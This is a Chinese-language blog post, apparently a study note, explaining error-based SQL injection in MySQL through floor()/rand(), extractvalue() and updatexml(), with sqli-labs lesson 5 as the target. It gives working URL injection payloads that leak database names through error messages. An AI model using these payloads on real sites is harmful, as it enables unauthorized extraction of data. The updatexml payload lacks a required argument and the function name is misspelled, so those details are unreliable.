今天看了看報錯注入,寫篇博客記錄一下思路,
報錯注入主要分三種:floor()報錯,extractvlaue()報錯和updatexml()報錯,
floor()是向下取整函式,與之搭配使用的函式有count()函式(計數函式),rand()函式(生成偽亂數函式),
0x01. floor()報錯
報錯陳述句如下,只要執行在資料庫版本低于8.0、7.0的版本中執行都會有下面這個錯誤,
報錯陳述句原型:
select floor(rand(0)*2)x,count(*) from information_schema.tables group by x;
以sqli-lab第五關為例,判斷這是單引號閉合,但是在聯合查詢后發現回顯位不顯示值,我們考慮盲注和報錯注入,這里好像可以用盲注,但我們使用報錯注入,
payload放這里:
/?id=1’ union select 1,count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor(rand()*2))as a from information_schema.tables group by a%23
額,要看懂這個payload需要一點點SQL基礎,這里就不再贅述了,核心部分在于concat((xxx),floor(rand()*2)) ,這里是把要查詢的陳述句(xxx)和floor(rand()*2)連接在一起輸出,
核心分析——讓我們來康康究竟是怎么報錯的
SQL陳述句:select floor(rand(0)*2)x,count(*) from information_schema.tables group by x;
floor(rand(0)*2)的規律值:01101…
執行一次后,floor(rand(0)*2)的值為0,要存入,group by后又執行了一次,值為1,所以把1存入了,count為1,再查詢值為1時,表中已經有1這個資料,所以count直接+1,
再一次查詢值為0的時候,表中只有1沒有0,要插入,但是group by執行后查詢值又變成了1,表中已經有1了,不能在插入一個相同的記錄,所以就會報錯,
如何利用floor()報錯?
非常簡單,只要用concat()把查詢陳述句與floor()函式連接起來就好了.
比如說要查詢第一個庫名,我們可以這么構造payload(已經測驗出聯合查詢要三列):
/?id=1’ union select 1,count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a%23
之后就可以繼續報表名,爆列名,爆欄位,
0x02. extractvlaue()報錯和updatexml()報錯
英文小課堂:
extract:提取
value:值
提一下XML的概念,我簡單地認為它與HTML差不多,不同之處在于XML的標簽可以自己定義,不像HTML一樣必須要特定的標簽,
extractvalue(引數1,引數2)
引數1:xml檔案字串
引數2:xpath格式字串
該函式主要用來查找并決議xml檔案
updatexml(引數1,引數2,引數3)
引數1:xml檔案字串
引數2:xpath格式字串
引數3:替換字串
該函式主要用來查找替換并決議xml檔案,但是不會保存到資料庫
extractvalue()和updatexml()函式報錯原理解釋:
它們兩個函式的報錯原理其實都一樣,都是因為第二個引數不采用xpath格式的字符導致資料庫報xpath格式錯誤,利用concat()函式把一個特殊字符與xpath連接在一起就可以報錯,
用extractvalue()函式查詢第一個資料庫:
/?id=1’ and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)))%23

用updatexml()函式查詢第一個資料庫:
/?id=1 ’ union select updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)))%23

同樣的,之后就可以繼續報表名,爆列名,爆欄位,

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/302973.html
標籤:其他
下一篇:[學習筆記]--資訊安全
